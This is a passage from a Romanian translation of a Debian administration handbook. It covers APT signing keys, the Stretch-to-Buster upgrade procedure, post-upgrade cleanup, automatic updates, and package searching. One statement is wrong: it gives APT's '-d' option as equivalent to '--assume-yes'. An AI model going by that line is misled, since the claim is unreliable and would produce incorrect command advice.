furnizate și actualizate de pachetul /etc/apt/trusted.gpg.d. Rețineți cu toate acestea, prima instalare
a acestui pachet special necesită prudență: chiar dacă pachetul este semnat ca oricare altul, semnătura nu
poate fi verificată extern. Prin urmare, administratorii precauți ar trebui să verifice amprentele cheilor
importate înainte de a avea încredere în ele pentru a instala pachete noi:

# apt-key fingerprint
/etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
----------------------------------------------------------
pub rsa4096 2019-04-14 [SC] [expires: 2027-04-12]
80D1 5823 B7FD 1561 F9F7 BCDD DC30 D7C2 3CBB ABEE
uid [ unknown] Debian Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org>
sub rsa4096 2019-04-14 [S] [expires: 2027-04-12]

/etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
-------------------------------------------------------------------
pub rsa4096 2019-04-14 [SC] [expires: 2027-04-12]
5E61 B217 265D A980 7A23 C5FF 4DFA B270 CAA9 6DFA
uid [ unknown] Debian Security Archive Automatic Signing Key (10/buster)
<ftpmaster@debian.org>
sub rsa4096 2019-04-14 [S] [expires: 2027-04-12]

/etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
-------------------------------------------------------
pub rsa4096 2019-02-05 [SC] [expires: 2027-02-03]
6D33 866E DD8F FA41 C014 3AED DCC9 EFBF 77E1 1517
uid [ unknown] Debian Stable Release Key (10/buster) <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
----------------------------------------------------------
pub rsa4096 2014-11-21 [SC] [expires: 2022-11-19]
126C 0D24 BD8A 2942 CC7D F8AC 7638 D044 2B90 D010
uid [ unknown] Debian Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
-------------------------------------------------------------------
pub rsa4096 2014-11-21 [SC] [expires: 2022-11-19]
D211 6914 1CEC D440 F2EB 8DDA 9D6D 8F6B C857 C906
uid [ unknown] Debian Security Archive Automatic Signing Key (8/jessie)
<ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
-------------------------------------------------------
pub rsa4096 2013-08-17 [SC] [expires: 2021-08-15]
75DD C3C4 A499 F1A1 8CB5 F3C8 CBF8 D6FD 518E 17E1
uid [ unknown] Jessie Stable Release Key <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
-----------------------------------------------------------
pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20]
E1CF 20DD FFE4 B89E 8026 58F1 E0B1 1894 F66A EC98
uid [ unknown] Debian Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>
sub rsa4096 2017-05-22 [S] [expires: 2025-05-20]

/etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
--------------------------------------------------------------------
pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20]
6ED6 F5CB 5FA6 FB2F 460A E88E EDA0 D238 8AE2 2BA9
uid [ unknown] Debian Security Archive Automatic Signing Key (9/stretch)
<ftpmaster@debian.org>

114
sub rsa4096 2017-05-22 [S] [expires: 2025-05-20]

/etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
--------------------------------------------------------
pub rsa4096 2017-05-20 [SC] [expires: 2025-05-18]
067E 3C45 6BAE 240A CEE8 8F6F EF0F 382A 1A7B 6500
uid [ unknown] Debian Stable Release Key (9/stretch) <debian-release@lists.debian.org>

ÎN PRACTICĂ Când se adaugă o sursă terță de pachet parte la fișierul sources.list, APT are nevoie să i se spună să aibă
Adăugarea cheilor de încredere încredere în cheia de autentificare GPG corespunzătoare (în caz contrar, va obiecta că nu poate asigura
autenticitatea pachetele care provin din acel depozit). Primul pas este, desigur, obținerea cheii publice. Mai des,
cheia va fi furnizată sub forma unui fișier text mic, pe care îl vom numi key.asc în următoarele exemple.
Pentru a adăuga cheia la breloc (trusted keyring), administratorul poate doar să o introducă într-un fișier *.asc
din /etc/apt/trusted.gpg.d/. Aceasta este acceptată de la Debian Stretch. Cu versiuni mai vechi, va
trebui să rulați apt-key add <key.asc.

Odată ce cheile corespunzătoare sunt în breloc, APT va verifica semnăturile înaintea oricărei operațiuni
riscante, astfel încât interfețele vor afișa un avertisment dacă i se cere să instaleze un pachet a cărui
autenticitate nu poate fi stabilită.

6.7. Trecerea de la o distribuție stabilă la următoarea

Una dintre cele mai cunoscute caracteristici ale lui Debian este capacitatea sa de a actualiza un sistem
instalat de la o versiune stable la alta: dist-upgrade — o expresie binecunoscută — a contribuit în mare parte
la reputația proiectului. Cu câteva măsuri de precauție, actualizarea unui computer poate dura doar câteva
minute sau câteva zeci de minute, în funcție de viteza de descărcare din depozitele de pachete.

6.7.1. Procedura recomandată

Întrucât Debian are destul de mult timp pentru a evolua între versiunile stabile, ar trebui să citiți notele de
lansare înainte de upgrade.

NOȚIUNI DE BAZĂ Notele de lansare pentru un sistem de operare (și în general pentru orice software) sunt un document care oferă o
Notele de lansare imagine de ansamblu a software-ului, cu câteva detalii privind particularitățile unei versiuni. Aceste documente
sunt în general scurte în comparație cu documentația completă și, de obicei enumeră caracteristicile care au fost
introduse încă de la versiunea anterioară. De asemenea, oferă detalii despre procedurile de actualizare,
avertismente pentru utilizatorii versiunilor anterioare și uneori errata.
Notele de lansare sunt disponibile online: notele de lansare pentru versiunea actuală stabilă au o adresă URL
dedicată, în timp ce notele de versiune mai vechi pot fi găsite cu numele de cod:
➨ http://www.debian.org/releases/stable/releasenotes
➨ https://www.debian.org/releases/stretch/releasenotes

În această secțiune, ne vom concentra pe upgrade-ul unui sistem de la Stretch la Buster. Aceasta este o
operație majoră pe un sistem; ca atare, nu este niciodată lipsită de riscuri 100% și nu trebuie încercată
înainte ca toate datele importante să fie salvate.
Un alt obicei bun care face upgrade-ul mai ușor (și mai scurt) este să vă aranjați pachetele instalate și să le
păstrați doar pe cele cu adevărat necesare. Instrumentele utile pentru a face asta includ aptitude,
deborphan și debfoster (a se vedea secțiunea 6.2.7. “Urmărirea pachetelor instalate automat” pagina 108). De
exemplu, puteți utiliza următoarea comandă și apoi folosiți modul interactiv aptitude pentru o verificare
dublă și a regla eliminările programate:

# deborphan | xargs aptitude --schedule-only remove

SFAT Comanda debsums poate verifica dacă fișierele de pe sistemul local, care fac parte dintr-un pachet instalat, au
Găsirea fișierelor modificate fost modificate. Folosește un algoritm hashsum simplu și informațiile din
/var/lib/dpkg/info/package.md5sums (consultați secțiunea 5.2.3. “Checksums, lista fișierelor de
configurare” pagina 83). Pentru a găsi toate fișierele de configurare modificate, utilizați debsums -ec. Pentru a
verifica întregul sistem, utilizați debsums -c.

Acum, pentru actualizarea în sine. În primul rând, trebuie să schimbați fișierul /etc/apt/sources.list
pentru a-i spune APT să obțină pachetele sale din Buster în loc de Stretch. Dacă fișierul conține doar
referințe la Stable, mai degrabă decât nume de cod explicite, nici măcar modificarea nu este necesară,

115
deoarece Stable se referă întotdeauna la cea mai recentă versiune lansată de Debian. În ambele cazuri, baza
de date a pachetelor disponibile trebuie reîmprospătată (cu comanda apt update sau butonul de
actualizare din synaptic).

REȚINEȚI Când este lansată o nouă versiune stabilă de Debian, unele câmpuri din fișierele Release și InRelease ale
Modificările informațiilor din unui depozit se modifică, cum ar fi câmpul Suite. Când se întâmplă acest lucru, descărcarea datelor din
depozit depozit este refuzată până la confirmarea modificării pentru a se asigura că utilizatorul este pregătit pentru
aceasta. Pentru a confirma modificarea, utilizați opțiunile --allow-releaseinfo-change sau --
allow-releaseinfo-change-field pentru apt-get sau opțiunea de configurare
Acquire::AllowReleaseInfoChange.

După ce aceste noi surse de pachete sunt înregistrate, ar trebui să efectuați mai întâi o actualizare minimă
cu apt upgrade. Făcând upgrade-ul în doi pași, ușurăm treaba cu instrumentele de gestionare a pachetelor
și ne asigurăm deseori că avem cele mai recente versiuni ale acestora, care ar putea fi acumulate corecții de
erori și îmbunătățiri necesare pentru a finaliza actualizarea completă a distribuției.
Odată ce această primă actualizare este făcută, este timpul să gestionați actualizarea în sine, fie cu apt
full-upgrade, aptitude sau synaptic. Ar trebui să verificați cu atenție acțiunile sugerate înainte de a
le aplica: este posibil să doriți să adăugați pachete sugerate sau să deselectați pachetele care, recomandate
și cunoscute, nu sunt utile. În orice caz, interfața ar trebui să creeze un scenariu care se încheie într-un
sistem Buster coerent și actualizat. Apoi, tot ce trebuie să faceți este să așteptați în timp ce pachetele
cerute sunt descărcate, să răspundeți la întrebările Debconf, și, eventual, la cele despre fișierele de
configurare modificate local și să vă așezați, în timp ce APT își face magia.

6.7.2. Tratarea problemelor după o actualizare

În ciuda celor mai bune eforturi ale întreținătorilor Debian, o actualizare majoră a sistemului nu este
întotdeauna atât de lină pe cât v-ați dori. Noile versiuni software pot fi incompatibile cu cele anterioare (de
exemplu, comportamentul lor implicit sau formatul datelor lor s-au putut schimba). De asemenea, unele erori
pot scăpa, cu toată faza de testing care precedă întotdeauna o versiune Debian.
Pentru a anticipa unele dintre aceste probleme, puteți instala pachetul care afișează informații despre
posibile probleme, la începutul unei actualizări a pachetului. Aceste informații sunt compilate de către
furnizorii de pachete și sunt introduse în fișierele /usr/share/doc/packages/NEWS.Debian în
beneficiul utilizatorilor. Citirea acestor fișiere (eventual prin apt-listchanges) ar trebui să vă ajute să evitați
surprizele neplăcute.
Uneori, puteți constata că noua versiune a software-ului nu funcționează deloc. Acest lucru se întâmplă în
general dacă aplicația nu este deosebit de populară și nu a fost suficient testată; o actualizare de ultimă oră
poate introduce de asemenea regresii care se găsesc numai după lansarea versiunii stabile. În ambele
cazuri, primul lucru de făcut este să aruncați o privire asupra sistemului de urmărire a erorilor la
https://bugs.debian.org/package și să verificați dacă problema a fost deja semnalată. În caz
contrar, ar trebui să raportați singur cu reportbug. Dacă este deja cunoscut, raportul erorilor și mesajele
asociate sunt de obicei o sursă excelentă de informații legate de eroare:
• uneori există o corecție deja disponibilă în raportul de erori; puteți apoi să recompilați local o
versiune fixă a pachetului spart (a se vedea secțiunea 15.1. “Reconstruirea unui pachet din sursele sale”
pagina 338);
• în unele cazuri, este posibil ca utilizatorii să fi găsit o soluție de rezolvare a problemei și să-și
împărtășească informațiile despre aceasta în răspunsurile la raport;
• în alte cazuri, este posibil ca un pachet remediat să fi fost deja pregătit și făcut public de către
întreținător.
În funcție de gravitatea erorii, o nouă versiune a pachetului poate fi pregătită special pentru o nouă revizuire
a versiunii stable. Când se întâmplă acest lucru, pachetul remediat este disponibil în secțiunea proposed-
updates din oglinzile Debian (a se vedea secțiunea 6.1.2.3. “Actualizări propuse” pagina 99). Intrarea
corespunzătoare poate fi adăugată temporar la fișierul sources.list și pachetele actualizate pot fi instalate cu
apt sau aptitude.
Uneori, pachetul remediat nu este încă disponibil în această secțiune, deoarece este în curs de validare de
către Managerii versiunilor stabile. Puteți verifica dacă acesta este cazul pe pagina lor web. Dacă pachetele
enumerate nu sunt încă disponibile, cel puțin știți că procesul de publicare este în desfășurare.
➨ https://release.debian.org/proposed-updates/stable.html

116
6.7.3. Curățenia după o actualizare
APT asigură de obicei o actualizare curată, atrăgând dependențe noi și actualizate sau eliminând pachetele
aflate în conflict. Dar chiar și fiind un instrument atât de grozav, nu poate acoperi toate sarcinile pe care
utilizatorii și administratorii le vor face față după un upgrade, deoarece implică factorul uman, care trebuie să
ia o decizie.

6.7.3.1. Pachete eliminate din arhiva Debian

Uneori, Debian FTP Masters elimină pachetele din arhiva Debian, deoarece conțin erori critice de lansare, au
fost abandonate de upstream author sau de către întreținătorul lor sau pur și simplu au ajuns la cap de linie. În
acest caz, o versiune Debian mai nouă nu mai livrează pachetul. Pentru a găsi toate pachetele, care nu au o
sursă a pachetului, utilizați comanda apt-show-versions:

$ apt-show-versions | grep "No available version"

Un rezultat similar poate fi obținut prin aptitude ~ o. Dacă pachetele găsite nu mai sunt necesare,
acestea ar trebui eliminate din sistem, deoarece nu vor mai face față actualizărilor pentru erori critice sau
legate de securitate.

6.7.3.2. Pachete fictive și tranzitorii

Uneori, ar putea fi necesar ca un pachet să obțină un nume nou. În acest caz, de multe ori vechiul pachet
este păstrat ca un pachet (aproape) gol, în funcție de cel nou și instalând doar fișierele obligatorii
în /usr/share/doc/package/. Astfel de pachete se numesc pachete “fictive” sau “tranzitorii”. Dacă
întreținătorul pachetului responsabil a schimbat, de asemenea, secțiunea acestui pachet în oldlibs, atunci
instrumentele precum aptitude, deboprhan sau debfoster (vezi bara laterală “deborphan și
debfoster” pagina 108)pot prelua aceste pachete pentru a sugera eliminarea lor.
Din păcate, în prezent nu există un mod infailibil de a vă asigura că aceste pachete sunt eliminate în mod
automat sau selectate de instrumentele menționate anterior. O modalitate de a verifica dacă sistemul mai are
unele dintre aceste pachete instalate este să căutați descrierea pachetelor pachetelor instalate și apoi să
verificați rezultatele. Aveți grijă să nu programați rezultatele pentru eliminarea automată, deoarece această
metodă poate duce la fals pozitive:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Deoarece noul pachet este extras ca o dependență de pachetul de tranziție, este de obicei marcat ca instalat
automat și ar putea fi programat pentru eliminare dacă încercați să eliminați pachetul de tranziție din sistemul
dvs. În acest caz, puteți utiliza oricare dintre abordările descrise în bara laterală “Eliminarea și instalarea în
același timp” pagina 117 și secțiunea 6.2.7. “Urmărirea pachetelor instalate automat” pagina 108 pentru a elimina
selectiv pachetul de tranziție.

6.7.3.3. Fișiere de configurare vechi sau neutilizate

Dacă actualizarea a reușit, ar putea exista unele fișiere de configurare cruft, fie de la dpkg (consultați
secțiunea 5.2.3. “Checksums, lista fișierelor de configurare” pagina 83), ucf, sau de la pachetele eliminate. Mai
târziu, pot fi purged folosind apt autoremove --purge. Fișierele de configurare care au fost gestionate
de dpkg sau ucf în timpul procesului de actualizare au lăsat unii omologi cu un sufix dedicat (de exemplu
.dpkg-dist, .dpkg-old, .ucf-old). Folosirea comenzii find, sau locate vă poate ajuta să le urmăriți.
Dacă nu mai sunt de niciun folos, pot fi șterse.

6.7.3.4. Fișiere care nu sunt deținute de niciun pachet

Politica Debian impune ca pachetele să nu lase fișiere în urmă atunci când sunt purjate. Încălcarea acestui
principiu este o eroare gravă și rareori îl veți întâlni. Dacă faceți acest lucru, raportați-l; și, dacă sunteți

117
curios, puteți folosi pachetul cruft sau cruft-ng pentru a vă verifica sistemul pentru fișiere care nu aparțin
niciunui pachet.

6.8. Menținerea la zi a unui sistem

Distribuția Debian este dinamică, în continuă schimbare. Majoritatea modificărilor sunt în versiunile Testing și
Unstable, dar chiar și Stable este actualizat din când în când, mai ales pentru corecții legate de securitate.
Oricare ar fi versiunea de Debian pe care o rulează un sistem, este în general o idee bună să-l țineți
actualizat, astfel încât să puteți beneficia de evoluțiile recente și de remedierea erorilor.
Deși este posibil să rulați periodic un instrument pentru a verifica actualizările disponibile și să executați
actualizările, o astfel de sarcină repetitivă este obositoare, mai ales atunci când trebuie efectuată pe mai
multe mașini. Din fericire, ca multe sarcini repetitive, poate fi parțial automatizată și un set de instrumente a
fost deja dezvoltat în acest sens.
Primul dintre aceste instrumente este apticron, în pachetul cu același nume. Efectul principal este de a
rula un script zilnic (prin cron). Scriptul actualizează lista de pachete disponibile, și dacă unele pachete
instalate nu se află în cea mai recentă versiune disponibilă, trimite un e-mail cu o listă a acestor pachete
împreună cu modificările aduse în noile versiuni. Evident, acest pachet vizează în mare parte utilizatorii
Debian Stable, deoarece e-mailurile zilnice ar fi foarte lungi pentru versiunile mai rapide de Debian. Când
sunt disponibile actualizări, apticron le descarcă automat. Nu le instalează — administratorul o va face în
continuare — dar faptul că pachetele sunt deja descărcate și disponibile local (în cache-ul APT) face treaba
mai rapidă.
Administratorii responsabili de mai multe computere vor aprecia, fără îndoială, că au fost informați cu privire
la actualizările în așteptare, încă la fel de obositoare ca înainte. Actualizările periodice pot fi activate:
utilizează o unitate de cronometrare sistemd sau cron. Dacă systemd nu este instalat, scriptul
/etc/cron.daily/apt-compat (în pachetul apt) vine la îndemână. Acest script este rulat zilnic (și non-
interactiv) de către cron. Pentru a controla comportamentul, utilizați variabile de configurare APT (care sunt
astfel stocate într-un fișier /etc/apt/apt.conf.d/10periodic). Principalele variabile sunt:
APT::Periodic::Update-Package-Lists Această opțiune vă permite să specificați frecvența
(în zile) la care sunt actualizate listele de pachete. Utilizatorii apticron se pot descurca fără
această variabilă, deoarece apticron face deja această sarcină.
APT::Periodic::Download-Upgradeable-Packages Din nou, această opțiune indică o frecvență
(în zile), de data aceasta pentru descărcarea pachetelor efective. Din nou, utilizatorii apticron nu
vor avea nevoie de ea.
APT::Periodic::AutocleanInterval Această opțiune acoperă o caracteristică pe care apticron
nu o are. Acesta controlează cât de des sunt eliminate pachetele învechite (cele la care nu mai face
referire nici o distribuție) din memoria APT cache. Acest lucru păstrează memoria APT cache la o
dimensiune rezonabilă și înseamnă că nu trebuie să vă faceți griji pentru această sarcină.
APT::Periodic::Unattended-Upgrade Când această opțiune este activată, scriptul zilnic va
executa unattended-upgrade (din pachetul unattended-upgrades) care — după cum sugerează
numele său — poate automatiza procesul de actualizare pentru unele pachete (implicit are grijă doar
de actualizări de securitate, dar acesta poate fi personalizat în
/etc/apt/apt.conf.d/50unattended-upgrades). Rețineți că această opțiune poate fi setată
cu ajutorul debconf rulând dpkg-reconfigure -plow unattended-upgrades.
Alte opțiuni vă pot permite să controlați comportamentul de curățare al cache-ului cu mai multă precizie. Nu
sunt enumerate aici, dar sunt descrise în scriptul /usr/lib/apt/apt.systemd.daily.
Aceste instrumente funcționează foarte bine pe server, dar utilizatorii de desktop preferă în general un sistem
mai interactiv. Pachetul gnome-software oferă o pictogramă în zona de notificare a mediilor desktop când sunt
disponibile actualizări; făcând clic pe această pictogramă, apoi rulează o interfață pentru a efectua
actualizări. Puteți răsfoi actualizările disponibile, puteți citi scurta descriere a pachetelor relevante și intrările
corespunzătoare din changelog și puteți selecta dacă aplicați actualizarea sau nu, de la caz la caz.

Acest instrument nu mai este instalat implicit în GNOME desktop. Noua filozofie este că actualizările de
securitate ar trebui să fie instalate automat în fundal sau de preferință atunci când opriți calculatorul, pentru a
nu deruta nicio aplicație care rulează.

118
 Figura 6.3 Actualizarea cu gpk-update-viewer

6.9. Automatic upgrades

Întrucât Școala Generală are multe computere, administratorul său încearcă să facă, pe cât posibil, actualizările
automate. Prin urmare, programele care se ocupă de aceste procese trebuie să funcționeze fără intervenție
umană.

6.9.1. Configurarea dpkg

Așa cum am menționat deja (a se vedea bara laterală “Evitarea întrebărilor despre fișierul de configurare” pagina
83), dpkg poate fi instruit să nu ceară confirmare la înlocuirea unui fișier de configurare (cu opțiunile --
force-confdef --force-confold). Cu toate acestea, interacțiunile pot avea alte trei surse: unele
provin de la APT în sine, altele sunt gestionate de debconf, iar altele se întâmplă pe linia de comandă
datorită scripturilor de configurare a pachetului(uneori manipulate de ucf).

6.9.2. Configurarea APT

Cazul APT este simplu: cu opțiunea -d (sau --assume-yes) APT consideră răspunsul la toate întrebările
sale ca fiind “da”.

6.9.3. Configurarea debconf

Cazul debconf merită mai multe detalii. Acest program a fost conceput, de la început, pentru a controla
relevanța și volumul de întrebări afișate utilizatorului precum și modul în care sunt afișate. De aceea,
configurația sa solicită o prioritate minimă pentru întrebări; sunt afișate doar întrebări peste prioritatea
minimă. debconf își asumă răspunsul implicit (definit de întreținătorul pachetului) pentru întrebările pe care
a decis să le sară.
Celălalt element relevant de configurare este interfața folosită de fronton. Dacă alegeți non-interactiv dintre
posibilități, toată interacțiunea utilizatorilor este dezactivată. Dacă un pachet încearcă să afișeze o notă
informativă, acesta va fi trimisă administratorului prin e-mail.
Pentru a reconfigura debconf, utilizați instrumentul dpkg-reconfigure din pachetul debconf; comanda
relevantă este dpkg-reconfigure debconf. Rețineți că valorile configurate pot fi anulate temporar cu
variabile de mediu atunci când este necesar (de exemplu, DEBIAN_FRONTEND controlează interfața, așa
cum este documentat în pagina de manual debconf(7).

6.9.4. Manipularea interacțiunilor în linia de comandă

Ultima sursă de interacțiuni, și cea mai grea de scăpat, sunt scripturile de configurare administrate de dpkg.
Din păcate nu există o soluție standard și niciun răspuns nu este irezistibil mai bun decât altul.

119
Abordarea obișnuită este de a suprima intrarea standard prin redirecționarea conținutului gol al /dev/null
în acesta cu command </dev/null sau pentru a o alimenta cu un flux nesfârșit de linii noi. Niciuna dintre
aceste metode nu este de încredere 100% dar, în general conduc la utilizarea răspunsurilor implicite,
deoarece majoritatea scripturilor consideră lipsa de răspuns ca o acceptare a valorii implicite.

6.9.5. Combinația minune

Combinând elementele anterioare, este posibil să construi un script mic, dar destul de fiabil, care să poată
gestiona actualizări automate.

Exemplul 6.4 Script de actualizare non-interactiv

export DEBIAN_FRONTEND=noninteractive
yes ’’ | apt-get -y -o DPkg::options::=”--force-confdef” -o DPkg::options::=”--force-
⮩ confold” dist-upgrade

ÎN PRACTICĂ Calculatoarele de la Școala Generală sunt un sistem eterogen, cu mașini care au funcții diverse. Prin urmare,
Cazul Școala Generală administratorii vor alege cea mai relevantă soluție pentru fiecare computer.
În practică, server-ele care rulează Stretch sunt configurate cu “combinația minune” de mai sus și sunt
actualizate automat. Doar cele mai critice server-e (firewall-urile, de exemplu) sunt configurate cu apticron,
astfel încât upgrade-urile să aibă loc întotdeauna sub supravegherea unui administrator.
Stațiile de lucru de birou din serviciile administrative rulează inclusiv varianta Buster, dar sunt echipate cu
gnome-packagekit, astfel încât utilizatorii declanșează singuri upgrade-urile. Motivul pentru această decizie este
că, dacă upgrade-urile se întâmplă fără o acțiune explicită, comportamentul computerului s-ar putea schimba în
mod neașteptat, ceea ce ar putea cauza confuzii pentru utilizatorii principali.
În laborator, puținele computere care folosesc varianta Testare — pentru a profita de cele mai recente versiuni de
software — nici nu sunt actualizate automat. Administratorii configurează doar APT pentru a pregăti
actualizările, dar nu le activează; atunci când decid să actualizeze (manual), părțile obositoare ale reîmprospătării
listelor de pachete și descărcarea pachetelor vor fi evitate, iar administratorii se pot concentra pe partea cu
adevărat utilă.

6.10. Căutarea pachetelor

Având în vedere cantitatea mare și în continuă creștere de software din Debian, apare un paradox: Debian
are de obicei un instrument pentru majoritatea sarcinilor, dar acest instrument poate fi foarte greu de găsit
printre numeroase alte pachete. Lipsa căilor adecvate de a căuta (și de a găsi) instrumentul potrivit a fost de
mult timp o problemă. Din fericire, această problemă a fost rezolvată aproape în întregime.
Cea mai banală căutare posibilă este căutarea unui nume exact al pachetului. Dacă apt show package
returnează un rezultat, atunci pachetul există. Din păcate, acest lucru necesită cunoașterea sau chiar
ghicirea numelui pachetului, ceea ce nu este întotdeauna posibil.

SFAT Unele categorii de pachete sunt numite conform unei scheme convenționale de denumire; cunoașterea schemei
Convenții în denumirea vă poate permite uneori să ghiciți numele pachetelor exacte. De exemplu pentru modulele Perl, convenția spune
pachetelor că un modul numit XML::Handler::Composer în amonte ar trebui să fie împachetat ca libxml-handler-
composer-perl. Biblioteca care permite utilizarea sistemului gconf de la Python este împachetată ca python-
gconf. Din nefericire nu este posibil să se definească o schemă de denumire complet generală pentru toate
pachetele, chiar dacă de obicei întreținătorii de pachete încearcă să urmeze alegerea dezvoltatorilor din amonte.

Un model de căutare puțin mai reușit este o căutare cu text simplu în numele pachetelor, dar rămâne foarte
limitat. În general, puteți găsi rezultate căutând descrierile pachetului: deoarece fiecare pachet are o
descriere mai mult sau mai puțin detaliată în plus față de numele pachetului, o căutare a cuvintelor cheie în
aceste descrieri va fi adesea utilă. Comenzile apt-cache și axi-cache sunt instrumentele de alegere
pentru acest tip de căutare (vedeți bara laterală “axi-cache” pagina 109); de exemplu, apt-cache search
video va returna o listă cu toate pachetele al căror nume sau descriere conține cuvântul cheie “video”.
Pentru căutări mai complexe este necesar un instrument mai puternic, cum ar fi aptitude. aptitude vă
permite să căutați conform unei expresii logice bazate pe câmpurile meta-date ale pachetului. De exemplu,
următoarea comandă caută pachete al căror nume conține kino a cărui descriere conține video și al cărui
nume de întreținător conține paul:

$ aptitude search kino~dvideo~mpaul

p kino - Non-linear editor for Digital Video data

120
$ aptitude show kino
Package: kino
Version: 1.3.4+dfsg0-1
State: not installed
Priority: optional
Section: video
Maintainer: Paul Brossier <piem@debian.org>
Architecture: amd64
Uncompressed Size: 8,304 k
Depends: libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libavc1394-0 (>= 0.5.3),
⮩ libavcodec58 (>=
7:4.0) | libavcodec-extra58 (>= 7:4.0), libavformat58 (>= 7:4.0),
⮩ libavutil56 (>= 7:4.0),
libc6 (>= 2.14), libcairo2 (>= 1.2.4), libdv4 (>= 1.0.0), libfontconfig1 (>=
⮩ 2.12.6),
libfreetype6 (>= 2.2.1), libgcc1 (>= 1:3.0), libgdk-pixbuf2.0-0 (>= 2.22.0),
⮩ libglade2-0
(>= 1:2.6.4-2~), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.24.32), libice6
⮩ (>= 1:1.0.0),
libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0
⮩ (>= 1.14.0),
libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11,
⮩ libsamplerate0
(>= 0.1.7), libsm6, libstdc++6 (>= 5.2), libswscale5 (>= 7:4.0), libx11-6,
⮩ libxext6,
libxml2 (>= 2.7.4), libxv1, zlib1g (>= 1:1.1.4)
Recommends: ffmpeg, curl
Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora
Conflicts: kino-dvtitler, kino-timfx, kinoplus
Replaces: kino-dvtitler, kino-timfx, kinoplus
Provides: kino-dvtitler, kino-timfx, kinoplus
Description: Non-linear editor for Digital Video data
Kino allows you to record, create, edit, and play movies recorded with DV camcorders.
⮩ This program
uses many keyboard commands for fast navigating and editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as

⮩ separate
packages, are now provided with Kino.
Homepage: http://www.kinodv.org/
Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical,
interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk
⮩ ,
use::editing, use::learning, works-with::video, x11::application

Căutarea returnează doar un singur pachet, kino, care satisface toate cele trei criterii.
Chiar și aceste căutări cu mai multe criterii sunt destul de greoaie, ceea ce explică de ce nu sunt folosite așa
de mult pe cât s-ar putea. Prin urmare, a fost dezvoltat un nou sistem de etichetare și oferă o nouă abordare
a căutării. Pachetelor le sunt date ecusoane care oferă o clasificare tematică de-a lungul mai multor linii,
cunoscută sub denumirea de clasificare pe fațete, “facet-based classification”. În cazul kino de mai sus,
etichetele pachetului indică faptul că Kino este un software bazat pe Gnome care funcționează cu date video
și al cărui scop principal este editarea.
Parcurgând această clasificare vă poate ajuta să căutați un pachet care să corespundă nevoilor cunoscute;
chiar dacă returnează un număr (moderat) de accesări, restul căutării se poate face manual. Pentru a face
acest lucru, puteți utiliza modelul de căutare ~G în aptitude, dar este probabil mai ușor să navigați pur și
simplu pe situl unde sunt gestionate ecusoanele:
➨ http://debtags.debian.org/
Selectarea ecusoanelor works-with::video și use::editing aduce o mână de pachete, inclusiv
editoare video kino și pitivi. Acest sistem de clasificare este folosit din ce în ce mai mult cu timpul, iar
managerii de pachete vor oferi treptat interfețe de căutare eficiente bazate pe el.
Pentru a rezuma, cel mai bun instrument pentru această treabă depinde de complexitatea căutării pe care
doriți să o faceți:
• apt-cache permite doar căutarea în numele și descrierile pachetului, ceea ce este foarte
convenabil atunci când căutați un pachet special care se potrivește cu câteva cuvinte cheie țintă;
• când criteriile de căutare includ și relații între pachete sau alte meta-date, cum ar fi numele
întreținătorului, synaptic va fi mai util;

121
• atunci când este necesară o căutare bazată pe etichete, un instrument bun este packagesearch, o
interfață grafică dedicată căutării pachetelor disponibile pe mai multe criterii (inclusiv numele
fișierelor pe care le conțin). Pentru utilizarea pe linia de comandă, axi-cache se va potrivi căutării.
• în sfârșit, când căutările implică expresii complexe cu operații logice, instrumentul de alegere va fi
sintaxa modelului de căutare al lui aptitude , care este destul de puternic, deși este oarecum
complicat; funcționează atât în linia de comandă, cât și în modurile interactive.

122
123
 Repere

Documentație
Rezolvarea problemelor
Fișiere jurnal
README.Debian
Manual
info

124
Capitolul 7

7. Rezolvarea problemelor și găsirea informațiilor

relevante
Conţinut
Sursele documentație 126 Proceduri comune 129

Pentru un administrator cea mai importantă îndemânare este să poată face față oricărei situații cunoscute
sau necunoscute. Acest capitol oferă o serie de metode care vă permit — să sperăm — să izolați cauza
oricărei probleme pe care le veți întâmpina, astfel încât să le puteți rezolva.

125
7.1. Sursele documentației
Înainte de a putea înțelege ce se întâmplă cu adevărat atunci când există o problemă, trebuie să știți rolul
teoretic jucat de fiecare program implicat în problemă. Pentru a face acest lucru, cel mai bun reflex de a
avea este consultarea documentației lor; dar, deoarece aceste documentații sunt multe și pot fi foarte
dispersate, ar trebui să știți toate locurile unde pot fi găsite.

7.1.1. Pagini de manual

Cum bine știm, este o practică, pentru orice produs se elaborează o documentație, un manual de utilizare.
De asemenea, am văzut fiecare dintre noi, destulă lume care din grabă sau din prea mare încredere în sine,
lasă pe mai târziu citirea documentație trecând direct la explorarea produsului, iar la prima poticneală încep
cu întrebările, cerând ajutor. Sigur că aceste întrebări pot fi supărătoare pentru cel întrebat, iar răspunsul la o
întrebare la care s-ar fi putut răspunde ușor din manualul sau documentația produsului chiar trădează
această iritare: RTFM. Pe șleau, neaoș, românește și total neacademic, într-un stil pamfletar: citește dracului
manualul... îl aveai la îndemână, dar ți-a luat ochii lucirea produsului, apoi ți-a fost prea lene să citești, dar nu
obosești să te dai victimă neajutorată, acuzând pe alții de cinism și lipsă de empatie; Nu pot fi empatic cu
